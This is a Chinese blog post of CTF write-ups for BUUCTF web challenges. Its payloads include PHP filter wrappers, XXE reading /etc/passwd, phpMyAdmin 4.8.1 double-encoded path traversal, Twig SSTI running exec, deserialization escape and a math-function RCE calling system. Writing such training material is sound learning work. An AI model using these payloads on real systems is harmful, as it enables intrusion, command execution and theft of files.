buuctf(探险3)

目录

[BSidesCF 2020]Had a bad day

考察:伪协议读取,以及filter   /resource指定路径读取

[BJDCTF2020]Mark loves cat]

git源码泄露,变量覆盖,foreach健值

 [NCTF2019]Fake XML cookbook

根据题目提示,应该是考察xml外部注入漏洞的问题

[GWCTF 2019]我有一个数据库

dirsearch的使用,phpmyadmin4.8.1漏洞,主要是二次解码造成

 [安洵杯 2019]easy_web

考察编码认识能力

[WUSTCTF2020]朴实无华

 第一关,intval

第二关,md5 

最后

[BJDCTF2020]Cookie is so stable

 [安洵杯 2019]easy_serialize_php

反序列化逃逸

建值逃逸:

 方法二

区别:

[CISCN 2019 初赛]Love Math 

考察数学函数进制转换

 总结:

[BSidesCF 2020]Had a bad day

考察:伪协议读取,以及filter   /resource指定路径读取

打开界面

看见有一个参数,这时候就要考虑是否有sql注入

然后首先我们需要的是获取源码,看见index。php

可是读取失败了,用伪协议试一下

我界面输入了一个index.php,报错给我报俩个php,去掉一个

?category=php://filter/read=convert.base64-encode/resource=index

 

base64解码。

 <?php
$file = $_GET['category'];

if(isset($file))
{
 if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
						include ($file . '.php');}
			else{echo "Sorry, we currently only support woofers and meowers.";}
	
		}

必须要有,woofers meowers 或者index,

那就再前面其中一个的目录下访问,flag

/index.php?category=php://filter/read=convert.base64-encode/woofers/resource=flag

解码获得flag

[BJDCTF2020]Mark loves cat]

git源码泄露,变量覆盖,foreach健值

 打开界面,首先考虑了一下sql注入,可是试了半天没思路

那就扫目录,看一下

果然git源码泄露,用githack扫描,可是扫不出来

看了别人wp会扫出,index.php和flag.php ,查了查是githack.py里面的

self.thread_count=1就可以扫到了,

然后再 home-kali-githack-buu文件中看见

flag.php是这样

<?php
 
$flag = file_get_contents('/flag');

 index.php是这样

<?php
 
include 'flag.php';
 
$yds = "dog";
$is = "cat";
$handsome = 'yds';
 
foreach($_POST as $x => $y){ 
    $$x = $y;
}
 
foreach($_GET as $x => $y){
    $$x = $$y;  
}
 
foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){           
        exit($handsome);
    }
}
 
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);    
}
 
if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);   
}
 
echo "the flag is: ".$flag;

变量覆盖的问题,

看到$$就很变量覆盖

最直接的思路就是使用最下面那个echo  $flag

但是要让上面的if条件都不成立而且不覆盖$flag真的是太难了

就转换思路,要知道exit也是一种输出

我们可以让exit里面的内容为$flag就行

我的做法是在这一句

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);    
}

上面对$_GET传参和$_POST传参有两种不同的键值分离赋值方法

foreach就是键值分离

比如?flag=aaa

那么$x=flag

       $y=aaa

要让$yds=$flag

那么就要$$x=$yds

这样才能保证yds前面有个$

接下来就是右边$flag

那么就是$y=flag  $$y=$flag

所以就用GET传参

?yds=flag

查看源码获得flag 

 [NCTF2019]Fake XML cookbook

根据题目提示,应该是考察xml外部注入漏洞的问题

知识点:XXE漏洞原理及利用 - Flo_Kz - 博客园

XXE(外部实体注入)是XML注入的一种,普通的XML注入利用面比较狭窄,如果有的话也是逻辑类漏洞。XXE扩大了攻击面。

当允许引用外部实体时,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。

防御方法:禁用外部实体(PHP:可以将libxml_disable_entity_loader设置为TRUE来禁用外部实体)

 随便输入账号密码,发现有回显,应该是有回显的xxe内部注入

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
  <!ENTITY admin SYSTEM "file:///etc/passwd">
  ]>
<user><username>&admin;</username><password>123</password></user>

红字要一致

payload解释:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?> 称为 XML prolog ,用于声明XML文档的版本和编码,是可选的,必须放在文档开头。

standalone值是yes的时候表示DTD仅用于验证文档结构,从而外部实体将被禁用,但它的默认值是no,而且有些parser会直接忽略这一项。

按实体有无参分类,实体分为一般实体和参数实体,一般实体的声明:<!ENTITY 实体名称 "实体内容">,引用一般实体的方法:&实体名称;

外部实体,用来引入外部资源。有SYSTEM和PUBLIC两个关键字,表示实体来自本地计算机还是公共计算机。

因为将file:///flag命名为admin,所以下面用&admin。

 

成功查看,然后用file看一下flag,flag一般都在根目录下面‘ 

[GWCTF 2019]我有一个数据库

dirsearch的使用,phpmyadmin4.8.1漏洞,主要是二次解码造成

打开界面,大写的蒙

一堆乱码 ,没办法就需要扫目录了

扫了十几分钟,终于出来了,都访问一下

百度查看phpmyadmin4.8.1有漏洞,看到最多的是文件包含漏洞 编号 CVE-2018-12613 

 public static function checkPageValidity(&$page, array $whitelist = [])
 2     {
 3         if (empty($whitelist)) {
 4             $whitelist = self::$goto_whitelist;
 5         }
 6         if (! isset($page) || !is_string($page)) {
 7             return false;
 8         }
 9 
10         if (in_array($page, $whitelist)) {
11             return true;
12         }
13 
14         $_page = mb_substr(
15             $page,
16             0,
17             mb_strpos($page . \'?\', \'?\')
18         );
19         if (in_array($_page, $whitelist)) {
20             return true;
21         }
22 
23         $_page = urldecode($page);
24         $_page = mb_substr(
25             $_page,
26             0,
27             mb_strpos($_page . \'?\', \'?\')
28         );
29         if (in_array($_page, $whitelist)) {
30             return true;
31         }
32 
33         return false;
34     }

 buuctf航海经历([ACTF2020 新生赛])_偶尔躲躲乌云334的博客-CSDN博客_buuctf新生赛

加?绕过这道题有异曲同工之妙

问题在于第23行的urldecode($page)方法,存在二次编码绕过

%25的url编码为%
%3f的url编码为?
%253f-->?

所以可以在白名单?后面的参数进行操作

例如传入:
?target=db_sql.php%253f
由于服务器会自动解码一次,所以在checkPageValidity()中,$page的值一开始会是db_sql%3f,又一次url解码后变成了db_sql.php?,这次便符合了?前内容在白名单的要求,函数返回true
但在index.php中$_REQUEST['target']仍然是db_sql%3f,而且会被include,通过目录穿越,就可造成任意文件包含
payLoad:
这里target参数只要是黑名单中php文件就可以

http://725a4060-e628-4f9f-801a-e96075cbfca8.node3.buuoj.cn/phpmyadmin/index.php?target=db_datadict.php%253f../../../../../../etc/passwd

 

 看到了配置信息,说明包含成功,换成flag试试

 [安洵杯 2019]easy_web

考察编码认识能力

打开界面有点慌,然后看见url中感觉是base64编码 

两次解码获得3535352e706e67

 一长溜的编码,可是看到md5 is funny,

尝试了一下都没有md5加密的,有点蒙了

偷偷看一眼提示信息,原来两次解码获得3535352e706e67这还能继续解码

,hex解码 

获得一个照片应该就是网页上那一张照片,所以我们现在需要查询源码

加密方式我们已经获得了hex->base64->base64

将index.php进行加密,得到TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

base64解密获得源码 

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>

    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {

终于找到md5的作用了,前一段时间刚做过,md5强碰撞的题目

(preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {

应该可以 ca\t 绕过,网上有一个新手段sort

dir也可以显示当前目录

a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
在PHP中,要通过正则表达式过滤掉\,必须要通过四个反斜杠才行\\\\,这是因为正则匹配要经过两层解析,一层是php,一层是正则表达式,在此处的话\\|,相当于是\|,之后又与后面的|进行了转义,所以实现的相当于就是对|的过滤,而没有过滤掉\
故此处并没有过滤掉\

url中的%20需要手动添加, 

[WUSTCTF2020]朴实无华

题目也没啥提示,然后访问几个常碰到的,文件

robots.txt 

 

 线索又断了,还是老老实实扫目录把

可是扫完以后,也就这一个200返回码

这时候看一下网络消息头发现

 

burp中更容易看见 

f14g.php解密

 整合一下代码,把乱码删了

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__)

//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "剰闂�犲ソ.</br>";
    }else{
        die("閲戦");
    }
}else{
    die("鍘婚");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "婂鑷忔毚.</br>";
   else
       die("鎴戣刀娲�");
}else{
    die("鍘婚插惂");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "鎯冲€灏欎旀灟鐕�.</br>";
        system($get_flag);
    }else{
        die("蹇床浜�");
    }
}else{
    die("鍘婚潪娲插惂");
}
?>

 第一关,intval

 这样就好多了看着,//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "剰闂�犲ソ.</br>";
    }else{
        die("閲戦");
    }
}else{
    die("鍘婚");
}  第一关,肯定是intval num<2020 并且加1比2021大

一定有一个漏洞,前几天做过一个intval越界的感觉不像是这个,搜一下

<?php

    $a = '2e4'; 
    var_dump($a);                      string(3) "2e4"
    var_dump(intval($a));              20001
    $b = $a + 1;
    echo $b."\n"; 
    var_dump($b);                      float(20001)
    var_dump(intval($b));              int(20001)

if(intval($num) < 2020 && intval($num + 1) > 2021)所以我们输入字符串'2e4'就可以绕过,前面是

第二关,md5 

0<2020   20001>2021第一关过了

 $md5=$_GET['md5'];
   if ($md5==md5($md5))           本身和md5加密后相等,弱比较

看到==,就想到了php弱比较,php会将以0x开头的字符串,当进行==弱比较时,会认为是相同的。

所以就变成了找到一个以0x开头的字符串s,并且md5(s)也是以0x开头的字符串。

  <?php
  $c = "0e215962017";
    echo "$c"."\n";
    $d = md5($c);
    echo "$d"."\n";
    if ($c==$d)
        echo "成功绕过"."\n";

试验后发现成功绕过,

最后

 if(!strstr($get_flag," ")){    get传参进入的,里面没有空格
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);、
        system($get_flag);

 str_ireplace(子字符串忽略大小写替换)

第二行,就是把get_flag中的cat 换成wctf20220,说白了就是过滤cat

那我们先用ls查一下目录

可是并没有什么回显,不知道我是哪错了

看了大佬解释,说是传入的2e4不需要空格,这些都会自动加上

出来了,但是我们查找目录 cat  flag中间一定会有空格,的这里肯定是需要一种别的手段绕过一下 

我们完全可以换个思路呀,cat有tac代替,空格有%09,${IFS}代替不久行了嘛

可以用$IFS$9代替空格(这个一般什么时候都可以ak过去)

[BJDCTF2020]Cookie is so stable

打开界面,随便输入burp抓包

 hint.php发现

 为什么不看看cookies

题目提到cookie,莫非是修改cookie 

 在登录的情况下抓包,看cookies

能力就到这了,看看大佬的wp

这里的知识点是利用服务端模板注入攻击。SSTI里面的Twig攻击

这里有判断模板注入类型的办法,可是我看不出来唉,说明经验还是不够

输入{{7*‘7’}},返回49表示是 Twig 模块

输入{{7*‘7’}},返回7777777表示是 Jinja2 模块

这里在cookie处进行判断

user={{7*‘7’}},查看返回值

返回49,说明是Twig攻击

然后继续学习Twig的方法,

一篇文章带你理解漏洞之 SSTI 漏洞 | K0rz3n's Blog,原理在这

public function getFilter($name)
{
        [snip]
        foreach ($this->filterCallbacks as $callback) {
        if (false !== $filter = call_user_func($callback, $name)) {//注意这行
            return $filter;
        }
    }
    return false;
}
 
public function registerUndefinedFilterCallback($callable)
{
    $this->filterCallbacks[] = $callable;
} 

 payload

{{_self.env.registerUndefinedFilterCallback("exec")}}
 
{{_self.env.getFilter("id")}}

 把id改成 cat /flag获得

 [安洵杯 2019]easy_serialize_php

反序列化逃逸

<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

 看到phpinfo,这里的注释,可能你能在这找到一些东西,那就看一下,翻了好久发现,一个在底部生成d0g3_f1ag.php这个文件,肯定是和最后的file_get_contents有关系

filter自定义函数就是过滤一些函数,替换为空格

 if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

要读取文件,function=show_image第一步,然后这是解码 $userinfo['img']看看上面哪有

 if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

上面是包含png,所以肯定是运行下面,也就是get传参的i,base64编码上面获得那个php

可是这个方法有个问题,那就是下面进行了 sha1和base64可是下面只有base64解码

这条路断了

$userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}很明显,是反序列化之后取得img的值,所以找序列化 

 $serialize_info = filter(serialize($_SESSION));

这句话的意思就是,对session中进行过滤然后序列化,session中有三个值

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
 $_SESSION['img']

搜了好多资料,序列化逃逸手段需要

建值逃逸:

把echo前面注释取消,构造环境,成为这样

a:3里面有三个变量,user  function  img

 因为

因为user的值有flag过滤字符,就会过滤,所以user的内容变为  ”:s:8:"f  8个字符

然后我们就想一下,如果user直接借助过滤覆盖到7这个位置,那不就只剩下 user img

达到这种效果,然后后面的img出括号无效了,指的是第二个img

可是这样不会成功,因为a:3这才 user  img所以我们完全可以,在function中构建出img的取值

然后最后再来个function

 user28从  "------b1234 ,这都是user的值

然后是img的值

重点:a:3 后三个键,只需要个数相同而已

最后a  b的值随便构造,写个function不就成功了吗,因为过滤字符都是4个的倍数,完全可以在后面随便加字符b1234567等等

_SESSION[user] =flagflagflagflagflagflagflag&_SESSION[function] = b1234";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:8:"function";s:1:"a";}

试了好几遍也没有对,和别人的一比也没差到哪去

_SESSION[user]=flagflagflagflagflagflagflag&_SESSION[function]=b1234";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:8:"function";s:1:"a";}

最后发现是等号俩边有空格, 删去就成功了

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=p";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"ab";s:2:"sb";}

 

L2QwZzNfZmxsbGxsbGFn 是/dog3...的base64编码,继续来一遍

_SESSION[user]=flagflagflagflagflagflagflag&_SESSION[function]=vvvvp";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:2:"ab";s:2:"sb";}

 方法二

$_SESSION['phpflag']=";s:1:\"1\";s:3:\"img\";s:20:\"ZDBnM19mMWFnLnBocA==\";}";
$_SESSION['img'] = base64_encode('guest_img.png');
var_dump( serialize($_SESSION) );
#"a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"
;s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

也就是键名中的phpflag过滤,替换掉了

"a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"

三个键名,完成逃逸,就是这个原理

例子:

可以看到,被过滤了7个字符,所以";s:53:被当做成了键名,然后构造的hacker被当做成了值,后面的原理就一样了

然后根据提示$flag = 'flag in /d0g3_fllllllag';,flag在/d0g3_fllllllag,将/d0g3_fllllllagbase64加密得到,L2QwZzNfZmxsbGxsbGFn再继续逃逸即可得出结果

区别:

首先_SESSION一共有三个键值对,所以我们一共要构建三个键值对,而建名就不需要二零

终于结束了这道题,淦了我快一天了

[CISCN 2019 初赛]Love Math 

考察数学函数进制转换

<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

简单看一下,这道题其实考察的是rce问题,通过黑名单,白名单各种过滤,然后到最后eval实现命令执行的功能

这道题的突破点,应该是通过数学函数来构建rce

 

c=base_convert(55490343972,10,36)(),就会显示phpinfo环境信息

 只要都是进数字制吗,几进制都可以,

PHP Math 函数

可以利用base_convert()生成hex2bin()函数
hex2bin()函数可以把16进制转成字符
这样就可以构造_GET请求来绕过限制

但是直接传16进制会被die,所以利用dechex()传10进制

把十进制转换为十六进制。dechex()

然后转换十进制, 1598506324

base_convert()

\?c=$abs=base_convert(37907361743,10,36)(dechex(1598506324));$$abs{1}($$abs{2})&1=system&2=ls

 base_convert(37907361743,10,36) 是hex2bin

hex2bin

(dechex(1598506324))是变成十六进制编码  _get的

hex2bin(16进)    转化为字符,_get

?c=$abs=_get;$$abs{1}($$abs{2})&1=system&2=ls

构造出来的_GET赋给一个变量要在白名单里面,这里我用abs
则:$abs=base_convert(37907361743,10,36)(dechex(1598506324))

也就是$abs=_GET

所以:$$abs=$_GET

但是[]被过滤,可以用{}替代

就可以构造shell:
$_GET[1]($_GET[2])
1用做函数:system,2用做命令

cat /flag,获得

 总结:

1.第一题主要考察filter可以指定路径进行查看

2.主要考察键值覆盖,

比如?flag=aaa

那么$x=flag

       $y=aaa

$$x=$y,实现的是flag=aaa

3.考察xml外部注入,

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
  <!ENTITY admin SYSTEM "file:///etc/passwd">
  ]>
<user><username>&admin;</username><password>123</password></user>

这是有回显的,可以通过这里判断

4.phpmyadmin4.8.1二次解码造成的漏洞

?target=db_datadict.php%253f../../../../../../etc/passwd

%253f二次解码,就是?会返回true然后包含   ,前面php必须在黑名单里面

 5.考察熟练的判断解码类型

3535352e706e67数字可以继续hex2解码,就这没看出来,别的地方还行

可以ca\t过滤

6.intval漏洞,以及如果各种尝试都没思路,可以看一下网络的信息头

intval(2e4)  =2

intval(2e4+1)=20001

7.twig模板注入

如果cookie中多了值,首先判断是不是模板注入,{{7*'7'}}返回49是twig, 7777是jinjia2

{{_self.env.registerUndefinedFilterCallback("exec")}}
 
{{_self.env.getFilter("id")}}

8.键值逃逸,通过有字符过滤覆盖掉后面的手段

上面挺详细的,主要就是使用键值逃逸的时候个数要与session的相同

而键名不需要

9.base_convert(55490343972,10,36)指定编码,原来十进制换成16进制
把十进制转换为十六进制。dechex()
hex2bin  16进制换成字符串文本

以后就针对一个类型刷题了,会更加加深印象!加油

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值